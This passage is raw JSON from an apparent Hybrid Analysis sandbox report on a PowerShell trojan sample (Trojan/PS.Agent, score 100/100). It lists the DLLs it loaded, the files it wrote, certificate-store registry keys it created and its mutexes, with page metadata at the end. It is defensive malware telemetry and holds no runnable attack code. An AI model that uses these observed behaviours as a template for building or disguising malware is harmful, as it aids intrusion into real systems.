744","sha256":"8c7fbeaebed0fe84681ae8c708c0aa6bea871f958dad55782d06af6b8398e558","normalized_path":"%WINDIR%\\system32\\SearchFilterHost.exe","parent_uid":"00000000-00001828","uid":"00000000-00007548"}],"all_imported_dlls":["comctl32.dll","win32u.dll","slc.dll","devobj.dll","OnDemandConnRouteHelper.dll","System.Data.dll","msvcp110_win.dll","VxSSL64.dll","combase.dll","ntasn1.dll","sxs.dll","imagehlp.dll","MpOAV.dll","secur32.dll","wldp.dll","wtsapi32.dll","user32.dll","ucrtbase.dll","gdi32full.dll","fltLib.dll","vcruntime140_1.dll","cscapi.dll","cryptbase.dll","Microsoft.PowerShell.Security.ni.dll","nsi.dll","samlib.dll","cryptsp.dll","atl.dll","bcryptprimitives.dll","BCP47Langs.dll","System.Management.ni.dll","System.Numerics.ni.dll","diasymreader.dll","IpsPlugin.dll","linkinfo.dll","rsaenh.dll","a0TLonrY.dll","wow64.dll","edputil.dll","windows.storage.dll","System.Management.Automation.ni.dll","System.Transactions.ni.dll","MpClient.dll","sppc.dll","ncrypt.dll","ucrtbase_clr0400.dll","mssprxy.dll","Microsoft.PowerShell.Commands.Management.ni.dll","winmmbase.dll","setupapi.dll","tquery.dll","kernel32.dll","bcrypt.dll","vcruntime140_clr0400.dll","devenum.dll","System.Xml.ni.dll","msvfw32.dll","powrprof.dll","wintrust.dll","mssrch.dll","rpcrt4.dll","kernel.appcore.dll","cldapi.dll","psapi.dll","msdmo.dll","winsta.dll","netutils.dll","ole32.dll","profapi.dll","clrjit.dll","System.Configuration.Install.ni.dll","mswsock.dll","schannel.dll","winhttp.dll","shell32.dll","aepic.dll","gdi32.dll","advapi32.dll","uxtheme.dll","ncryptsslp.dll","es.dll","ntdll.dll","AppResolver.dll","propsys.dll","mscoreei.dll","amsi.dll","dhcpcsvc.dll","webio.dll","ntshrui.dll","IPHLPAPI.DLL","dnsapi.dll","winmm.dll","FWPUCLNT.DLL","ws2_32.dll","version.dll","crypt32.dll","wow64win.dll","mpr.dll","authz.dll","shlwapi.dll","msvcrt.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","clbcatq.dll","KBDUS.DLL","mssph.dll","sechost.dll","ntmarta.dll","System.Data.ni.dll","esent.dll","SHCore.dll","System.ni.dll","gpapi.dll","Microsoft.Management.Infrastructure.ni.dll","dhcpcsvc6.dll","sspicli.dll","oleaut32.dll","msvcp_win.dll","urlmon.dll","clr.dll","userenv.dll","samcli.dll","mskeyprotect.dll","System.Transactions.dll","winnsi.dll","msvcp140.dll","cfgmgr32.dll","System.Configuration.ni.dll","wow64cpu.dll","dpapi.dll","mscoree.dll","ELSCore.dll","srvcli.dll","mscorlib.ni.dll","cryptdll.dll","vcruntime140.dll","iertutil.dll","System.Core.ni.dll","msasn1.dll","System.DirectoryServices.ni.dll","netapi32.dll","rasadhlp.dll","KernelBase.dll","imm32.dll","policymanager.dll","msidle.dll","vssapi.dll","vsstrace.dll","Microsoft.PowerShell.ConsoleHost.ni.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"7LJBXOXGNDGMKWL008QO.temp","sha256":"6873844a8e7a98774f42432be8c9361d5878865e47f8f05715e4af9ba43f7d95","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]}],"files_written":[{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"PIPE\\srvsvc","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\7LJBXOXGNDGMKWL008QO.temp","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF179097.TMP","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_3bbspsao.2lk.ps1","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_pe23a1ys.z2t.psm1","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"a:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"b:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"d:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"e:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"f:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"g:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"h:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"i:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"j:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"k:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"l:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"m:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"n:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"o:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"p:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"q:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"r:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"s:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"t:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"u:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"v:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"w:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"x:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"path":"y:\\System Volume Information","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7328:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7328:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7328:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"SM0:7328:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"Local\\SM0:7328:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"Local\\SM0:7328:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7596:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7596:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\eed3bd3a-a1ad-4e99-987b-d7cb3fcfa7f0 - S-1-5-21-735145574-3570218355-1207367261-1001","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7596:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"eed3bd3a-a1ad-4e99-987b-d7cb3fcfa7f0 - S-1-5-21-735145574-3570218355-1207367261-1001","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"SM0:7596:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"Local\\SM0:7596:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"SM0:7596:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"\\BaseNamedObjects\\Multiarch.m0yv-fa49926a25c33ef8-inf","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"\\BaseNamedObjects\\Multiarch.m0yv-fa49926a25c33ef8adad7ef4-b","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"\\BaseNamedObjects\\SearchServiceMUT","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"\\BaseNamedObjects\\Local\\SM0:1828:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"\\BaseNamedObjects\\Local\\SM0:1828:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"\\BaseNamedObjects\\WindowsSearchService_EfsRegKeysMutex","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"\\BaseNamedObjects\\Global\\Instance0: ESENT Performance Data Schema Version 280","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"\\BaseNamedObjects\\Instance1: ESENT Performance Data Schema Version 280","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"\\BaseNamedObjects\\Local\\SM0:4236:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"\\BaseNamedObjects\\Local\\SM0:4236:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"\\BaseNamedObjects\\SM0:4236:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]}]}},"report_ids":{"sandbox_job_ids":["6abd3a5b3b3b7d4b5e0db189"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan/PS.Agent Sample 3178411da380… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 3178411da380…. Malware family: Trojan/PS.Agent. Threat score 100/100. 9/27 AV engines flagged this file. 6 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan/PS.Agent Sample 3178411da380… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 3178411da380…. Malware family: Trojan/PS.Agent. Threat score 100/100. 9/27 AV engines flagged this file. 6 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan/PS.Agent Sample 3178411da380… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 3178411da380…. Malware family: Trojan/PS.Agent. Threat score 100/100. 9/27 AV engines flagged this file. 6 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L52","11",{}]]